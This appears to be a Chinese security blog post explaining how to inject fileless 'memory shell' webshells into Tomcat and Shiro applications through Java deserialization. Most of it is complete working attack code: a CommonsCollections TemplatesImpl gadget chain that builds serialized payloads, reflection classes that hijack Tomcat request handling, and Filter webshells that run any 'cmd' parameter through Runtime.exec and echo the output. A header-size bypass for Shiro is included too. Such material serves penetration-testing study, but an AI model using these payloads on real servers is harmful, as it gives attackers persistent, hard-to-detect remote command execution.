• 真正的内存马


    之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
    但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
    其实主要要解决的问题就是如何获取 request 和 response 对象。
    目前主流的回显技术(部分)主要有:
    • linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
      限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干
    • 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
      限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
    • 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
      限制:会导致http包超长,但相对比较通用。
  • 通过ThreadLocal Response回显


    大致思路是找一个存储 request 和 response 的变量,而且这个的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例。最后 kingkk 师傅是找到了 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequest 和 lastServicedResponse
    image-20220216130544132
    通过 set 方法将 requet 和 response 放在这两个变量中,其中的判断条件都可以通过反射进行修改(具体步骤见 demo)
    image-20220216125714318
    内存马实现回显大致思路就是两次访问:
    • 第一次把 request 和 response 存储到 lastServicedRequest 和 lastServicedResponse 中
    • 第二次将其取出,从而将结果写入 response 中从而达到回显目的

    image-20220216142143011
    后续三梦师傅提出了改进策略,通过动态注册一个Filter,并且把其放到最前面,这部分主要需要两个步骤:
    • 先能获取 request 和 response
  • 然后通过 request 或 response 动态注册 Filter
    环境搭建:

    参考木头师傅的 demo
    @WebServlet("/cc")
    public class CCServlet extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream inputStream = (InputStream) req;
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            InputStream inputStream = req.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            try {
                objectInputStream.readObject();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            resp.getWriter().write("Success");
        }
    }
    

    添加 pom.xml
          <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.1</version>
    

    漏洞利用:

    第一步是存入 request 和 response,大致思路就是利用反射完成 lastServicedRequest 和 lastServicedResponse 的初始化,其中 WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse 为 static final 变量,且 lastServicedRequest、lastServicedResponse 是私有变量,因此需要 modifiersField 的处理将 FINAL 属性取消掉。
    具体实现步骤为:
    1. 反射把 WRAP_SAME_OBJECT 修改为 true
  1. 反射初始化 lastServicedResponse 变量为 ThreadLocal
  2. 反射从 lastServicedResponse 中获取 tomcat Response(在之后的步骤中实现)
package cc;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  
  import java.lang.reflect.Modifier;
  
  public class TomcatEcho extends AbstractTranslet {
  
      static {
          try {
              // 修改 WRAP_SAME_OBJECT 值为 true
              Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
              java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
              java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");    //获取modifiers字段
              modifiersField.setAccessible(true);   //将变量设置为可访问
              modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性
              f.setAccessible(true);    //将变量设置为可访问
              if (!f.getBoolean(null)) {
                  f.setBoolean(null, true); //将变量设置为true
              }
  
              // 初始化 lastServicedRequest & lastServicedResponse
              c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
              f = c.getDeclaredField("lastServicedRequest");
              modifiersField = f.getClass().getDeclaredField("modifiers");
              modifiersField.setAccessible(true);
              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
              f.setAccessible(true);
              if (f.get(null) == null) {
                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象
              }
  
              f = c.getDeclaredField("lastServicedResponse");
              modifiersField = f.getClass().getDeclaredField("modifiers");
              modifiersField.setAccessible(true);
              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
              f.setAccessible(true);
              if (f.get(null) == null) {
                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
              throws TransletException {
  
      }
  }
  

然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。

package cc;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import org.apache.catalina.LifecycleState;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  
  import java.io.IOException;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import javax.servlet.Filter;
  import javax.servlet.FilterChain;
  import javax.servlet.FilterConfig;
  import javax.servlet.ServletContext;
  import javax.servlet.ServletException;
  import javax.servlet.ServletRequest;
  import javax.servlet.ServletResponse;
  
  /**
   * @author threedr3am
   */
  public class TomcatInject extends AbstractTranslet implements Filter {
  
      /**
       * webshell命令参数名
       */
      private final String cmdParamName = "cmd";
      private final static String filterUrlPattern = "/*";
      private final static String filterName = "moon_flower";
  
      static {
          try {
              ServletContext servletContext = getServletContext();
              if (servletContext != null){
                  Field ctx = servletContext.getClass().getDeclaredField("context");
                          ctx.setAccessible(true);
                  ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
  
                  Field stdctx = appctx.getClass().getDeclaredField("context");
                  stdctx.setAccessible(true);
                  StandardContext standardContext = (StandardContext) stdctx.get(appctx);
  
                  if (standardContext != null){
                      // 这样设置不会抛出报错
                      Field stateField = org.apache.catalina.util.LifecycleBase.class
                              .getDeclaredField("state");
                      stateField.setAccessible(true);
                      stateField.set(standardContext, LifecycleState.STARTING_PREP);
  
                      Filter myFilter =new TomcatInject();
                      // 调用 doFilter 来动态添加我们的 Filter
                      // 这里也可以利用反射来添加我们的 Filter
                      javax.servlet.FilterRegistration.Dynamic filterRegistration =
                              servletContext.addFilter(filterName,myFilter);
  
                      // 进行一些简单的设置
                      filterRegistration.setInitParameter("encoding", "utf-8");
                      filterRegistration.setAsyncSupported(false);
                      // 设置基本的 url pattern
                      filterRegistration
                              .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                      new String[]{"/*"});
  
                      // 将服务重新修改回来,不然的话服务会无法正常进行
                      if (stateField != null){
                          stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
                      }
  
                      // 在设置之后我们需要 调用 filterstart
                      if (standardContext != null){
                          // 设置filter之后调用 filterstart 来启动我们的 filter
                          Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
                          filterStartMethod.setAccessible(true);
                          filterStartMethod.invoke(standardContext,null);
  
                          /**
                           * 将我们的 filtermap 插入到最前面
                           */
  
                          Class ccc = null;
                          try {
                              ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                          } catch (Throwable t){}
                          if (ccc == null) {
                              try {
                                  ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                              } catch (Throwable t){}
                          }
                          //把filter插到第一位
                          Method m = Class.forName("org.apache.catalina.core.StandardContext")
                                  .getDeclaredMethod("findFilterMaps");
                          Object[] filterMaps = (Object[]) m.invoke(standardContext);
                          Object[] tmpFilterMaps = new Object[filterMaps.length];
                          int index = 1;
                          for (int i = 0; i < filterMaps.length; i++) {
                              Object o = filterMaps[i];
                              m = ccc.getMethod("getFilterName");
                              String name = (String) m.invoke(o);
                              if (name.equalsIgnoreCase(filterName)) {
                                  tmpFilterMaps[0] = o;
                              } else {
                                  tmpFilterMaps[index++] = filterMaps[i];
                              }
                          }
                          for (int i = 0; i < filterMaps.length; i++) {
                              filterMaps[i] = tmpFilterMaps[i];
                          }
                      }
                  }
  
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  
      private static ServletContext getServletContext()
              throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
          ServletRequest servletRequest = null;
          /*shell注入,前提需要能拿到request、response等*/
          Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
          java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
          f.setAccessible(true);
          ThreadLocal threadLocal = (ThreadLocal) f.get(null);
          //不为空则意味着第一次反序列化的准备工作已成功
          if (threadLocal != null && threadLocal.get() != null) {
              servletRequest = (ServletRequest) threadLocal.get();
          }
          //如果不能去到request,则换一种方式尝试获取
  
          //spring获取法1
          if (servletRequest == null) {
              try {
                  c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
                  Method m = c.getMethod("getRequestAttributes");
                  Object o = m.invoke(null);
                  c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
                  m = c.getMethod("getRequest");
                  servletRequest = (ServletRequest) m.invoke(o);
              } catch (Throwable t) {}
          }
          if (servletRequest != null)
              return servletRequest.getServletContext();
  
          //spring获取法2
          try {
              c = Class.forName("org.springframework.web.context.ContextLoader");
              Method m = c.getMethod("getCurrentWebApplicationContext");
              Object o = m.invoke(null);
              c = Class.forName("org.springframework.web.context.WebApplicationContext");
              m = c.getMethod("getServletContext");
              ServletContext servletContext = (ServletContext) m.invoke(o);
              return servletContext;
          } catch (Throwable t) {}
          return null;
      }
  
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
              throws TransletException {
  
      }
  
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {
  
      }
  
      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
                           FilterChain filterChain) throws IOException, ServletException {
          System.out.println(
                  "TomcatShellInject doFilter.....................................................................");
          String cmd;
          if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
              Process process = Runtime.getRuntime().exec(cmd);
              java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                      new java.io.InputStreamReader(process.getInputStream()));
              StringBuilder stringBuilder = new StringBuilder();
              String line;
              while ((line = bufferedReader.readLine()) != null) {
                  stringBuilder.append(line + '\n');
              }
              servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
              servletResponse.getOutputStream().flush();
              servletResponse.getOutputStream().close();
              return;
          }
          filterChain.doFilter(servletRequest, servletResponse);
      }
  
      @Override
      public void destroy() {
  
      }
  }
  

至此,两部分的操作都已完成,下一步要做的就是通过 cc11 (只要能动态加载字节码的 cc链都可以)注入内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import org.apache.commons.collections.functors.InvokerTransformer;
  import org.apache.commons.collections.keyvalue.TiedMapEntry;
  import org.apache.commons.collections.map.LazyMap;
  
  import java.io.*;
  import java.lang.reflect.Field;
  import java.util.HashMap;
  import java.util.HashSet;
  
  @SuppressWarnings("all")
  public class CC11Template {
  
      public static void main(String[] args) throws Exception {
          byte[] bytes = getBytes();
          byte[][] targetByteCodes = new byte[][]{bytes};
          TemplatesImpl templates = TemplatesImpl.class.newInstance();
  
          Field f0 = templates.getClass().getDeclaredField("_bytecodes");
          f0.setAccessible(true);
          f0.set(templates,targetByteCodes);
  
          f0 = templates.getClass().getDeclaredField("_name");
          f0.setAccessible(true);
          f0.set(templates,"name");
  
          f0 = templates.getClass().getDeclaredField("_class");
          f0.setAccessible(true);
          f0.set(templates,null);
  
          // 利用反射调用 templates 中的 newTransformer 方法
          InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
          HashMap innermap = new HashMap();
          LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
          TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
          HashSet hashset = new HashSet(1);
          hashset.add("foo");
          // 我们要设置 HashSet 的 map 为我们的 HashMap
          Field f = null;
          try {
              f = HashSet.class.getDeclaredField("map");
          } catch (NoSuchFieldException e) {
              f = HashSet.class.getDeclaredField("backingMap");
          }
          f.setAccessible(true);
          HashMap hashset_map = (HashMap) f.get(hashset);
  
          Field f2 = null;
          try {
              f2 = HashMap.class.getDeclaredField("table");
          } catch (NoSuchFieldException e) {
              f2 = HashMap.class.getDeclaredField("elementData");
          }
  
          f2.setAccessible(true);
          Object[] array = (Object[])f2.get(hashset_map);
  
          Object node = array[0];
          if(node == null){
              node = array[1];
          }
          Field keyField = null;
          try{
              keyField = node.getClass().getDeclaredField("key");
          }catch(Exception e){
              keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
          }
          keyField.setAccessible(true);
          keyField.set(node,tiedmap);
  
          // 在 invoke 之后,
          Field f3 = transformer.getClass().getDeclaredField("iMethodName");
          f3.setAccessible(true);
          f3.set(transformer,"newTransformer");
  
          try{
            //ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
              ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
              outputStream.writeObject(hashset);
              outputStream.close();
  
          }catch(Exception e){
              e.printStackTrace();
          }
      }
  
      public static byte[] getBytes() throws IOException {
        //    第一次
  //        InputStream inputStream = new FileInputStream(new File("./TomcatEcho.class"));
        //  第二次  
        InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));
  
          ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
          int n = 0;
          while ((n=inputStream.read())!=-1){
              byteArrayOutputStream.write(n);
          }
          byte[] bytes = byteArrayOutputStream.toByteArray();
          return bytes;
      }
  }

第一次注入:

image-20220216173237233

第二次注入:

image-20220216173252315

最后结果:

image-20220216173323270

  • 通过全局存储 Response回显


    基本上算是通用的了,大致思路就是找一个不受框架限制的变量,其中存储着 request 和 response,原作者 Litch1 师傅找到了继承 Http11Processor 的 AbstractProcessor 中有 Request 和 Response 的 Field,并且都是 final 类型(赋值之后对于对象的引用不会变),也就是说只要能拿到这个 Http11Processor 就可以拿到 request 和 response 了。
    image-20220216194735403
    image-20220216195035724
    还是之前的 debug 方式,在 new Http11Processor 处下个断点,追一下调用栈,发现 new 完之后的东西存在 processor 中,那下一步要做的就是如何获得这个 processor
    image-20220216201513440
    跟进到 register 中,用 rp 存储了 processor 获取到的 RequestInfo,一层一层跟下去也就是拿了个 req,然后会把这个 rp 存在子类(ConnectionHandler)的 global 属性中
    image-20220216201606863
    final 属性,存入后不改变
    image-20220216203454617
    一直跟进到 addRequestProcessor 中,发现会直接 add 到数组中,也就是相当于添加到了 global 的 processors 中
    image-20220216203608608
    image-20220216203710316
    最后知道通过反射拿到 global 中的 processors 属性,就可以通过遍历 processors 获取到 Request 和 Reponse 了。
    而 global 属性是在 AbstractProtocol$ConnectoinHandler 中定义的,那么下一步就是找有没有地方存着 AbstractProtocol 或 它的子类,这里作者找到了 CoyoteAdapter 的 connector,
    image-20220216205136583
    看一下 Connector 这个类,其中有一个 protocolHandler 的接口,而 AbstractProtocol 是 ProtocolHandler 接口的实现类(ctrl + h 查看)
    image-20220216215231351
    那么现在的目标就是如何获取 Connector,在 Tomcat 启动过程中的 setConnector 会触发 addConnector 的操作,将 Connector 放入 Service 中,而 Service 为 StandardService
    image-20220216220237176
    至此的链子串起来就是
    StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
    

    关于双亲委派机制:(补的一点知识,和漏洞关系不大,可跳过)
    当一个类加载器收到类加载请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载,只有父加载器无法加载这个类的时候,才会由昂前这个加载器来负责类的加载。可以有效的避免类的重复加载,当父加载器已经加载过一个类时,子加载器就不会再重新加载这个类。在代码层的 loadClass 中实现。
    如何破坏双亲委派:
    自定义一个类加载器,重写其中的 loadClass 方法,使其不进行双亲委派。
    为什么 tomcat 要破坏双亲委派:
    Tomcat是 web 容器,那么一个 web 容器可能需要部署多个应用程序,多个应用程序可能会有多个版本的库,这些库中的代码实现可能会不同,但是通过双亲委派要加载的类确实相同的,这就会导致不同版本的库实例化的类时相同的,就会 G。
    关于 tomcat 的隔离机制:
    不是传统的双亲委派机制,而是每个 WebApp 用一个独有的 ClassLoader(WebappClassLoader) 实例来优先处理加载,并不会传递给父加载器。
    如果使用 Thread Context ClassLoader(线程上下文类加载器),Thread类中有 getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 方法用来获取和设置上下文类加载器,如果没有 setContextClassLoader(ClassLoader cl) 方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于 Tomcat 来说 ContextClassLoader 被设置为 WebAppClassLoader。
    也就是说 WebAppClassLoaderBase 就是我们寻找的 Thread 和 Tomcat 运行上下文的联系之一。
    poc:(参考木头师傅)
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.catalina.core.StandardContext;
    
    import javax.servlet.*;
    import javax.servlet.http.HttpServletRequest;
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.util.Map;
    
    public class TomcatMemShellInject extends AbstractTranslet implements Filter {
    
        private final String cmdParamName = "cmd";
        private final static String filterUrlPattern = "/*";
        private final static String filterName = "evilFilter";
    
        static {
            try {
    
                Class c = Class.forName("org.apache.catalina.core.StandardContext");
    
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                        (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    
                ServletContext servletContext = standardContext.getServletContext();
    
                Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
                Configs.setAccessible(true);
                Map filterConfigs = (Map) Configs.get(standardContext);
                // 如果我们filter的名字不存在那么就进行注入
                if (filterConfigs.get(filterName) == null){
                    // 将自己作为 Filter 进行注入
    
                    Field stateField = org.apache.catalina.util.LifecycleBase.class
                            .getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                    // 添加恶意 filter
                    Filter MemShell = new TomcatMemShellInject();
    
                    FilterRegistration.Dynamic filterRegistration = servletContext
                            .addFilter(filterName, MemShell);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    filterRegistration
                            .addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false,
                                    new String[]{filterUrlPattern});
    
                    if (stateField != null) {
                        stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                    }
    
                    if (standardContext != null){
                        Method filterStartMethod = StandardContext.class
                                .getMethod("filterStart");
                        filterStartMethod.setAccessible(true);
                        filterStartMethod.invoke(standardContext, null);
    
                        Class ccc = null;
                        try {
                            ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                        } catch (Throwable t){}
                        if (ccc == null) {
                            try {
                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                            } catch (Throwable t){}
                        }
    
    
                        Method m = c.getMethod("findFilterMaps");
                        Object[] filterMaps = (Object[]) m.invoke(standardContext);
                        Object[] tmpFilterMaps = new Object[filterMaps.length];
                        int index = 1;
                        for (int i = 0; i < filterMaps.length; i++) {
                            Object o = filterMaps[i];
                            m = ccc.getMethod("getFilterName");
                            String name = (String) m.invoke(o);
                            if (name.equalsIgnoreCase(filterName)) {
                                tmpFilterMaps[0] = o;
                            } else {
                                tmpFilterMaps[index++] = filterMaps[i];
                            }
                        }
                        for (int i = 0; i < filterMaps.length; i++) {
                            filterMaps[i] = tmpFilterMaps[i];
                        }
    
                    }
                }
    
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            System.out.println("Do Filter ......");
            String cmd;
            if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                        new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
    
        @Override
        public void destroy() {
    
        }
    }
    

     
  • Shiro 中的内存马注入


    首先考虑回显方式,如果是利用 ApplicationFilterChain 获取回显,在 set 之前执行完了所有的 Filter,对于 shiro 的反序列化利用就打不通,所以考虑用拿 response 全局变量的方式,但这种情况会衍生出新的问题:接收的最大http头部大小为8192,而Cookie 过长。
    第一种思路是通过修改 Tomcat Header 的 maxsize 来进行绕过。
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    @SuppressWarnings("all")
    public class TomcatHeaderSize extends AbstractTranslet {
    
        static {
            try {
                java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
                java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
                java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
                java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
                java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                contextField.setAccessible(true);
                headerSizeField.setAccessible(true);
                serviceField.setAccessible(true);
                requestField.setAccessible(true);
                getHandlerMethod.setAccessible(true);
                org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                        (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
                org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
                org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
                org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
                for (int i = 0; i < connectors.length; i++) {
                    if (4 == connectors[i].getScheme().length()) {
                        org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                        if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                            Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                            for (int j = 0; j < classes.length; j++) {
                            // org.apache.coyote.AbstractProtocol$ConnectionHandler
                                if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                    java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                    java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                    globalField.setAccessible(true);
                                    processorsField.setAccessible(true);
                                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                    java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                    for (int k = 0; k < list.size(); k++) {
                                        org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                      // 10000 为修改后的 headersize 
                                        headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                    }
                                }
                            }
                             // 10000 为修改后的 headersize 
                            ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                        }
                    }
                }
            } catch (Exception e) {
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    

    第二种思路就是将 class bytes使用 gzip+base64 压缩编码,就是强行压缩,就不复现了。
    第三种思路是从 post 请求体中发送字节码数据。
    但并不是借助 filter 注入,而是反序列化一个 MyClassLoader,在静态代码块中获取了 Spring Boot上下文里的 request ,response 和 session,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session三个对象。
    但是只限于 springboot + shiro 环境,在 tomcat 下会失败,因为 request 对象是从 Sprint Boot 上下文中获取,而 tomcat 中并没有。
  • 参考文献


标签: none

添加新评论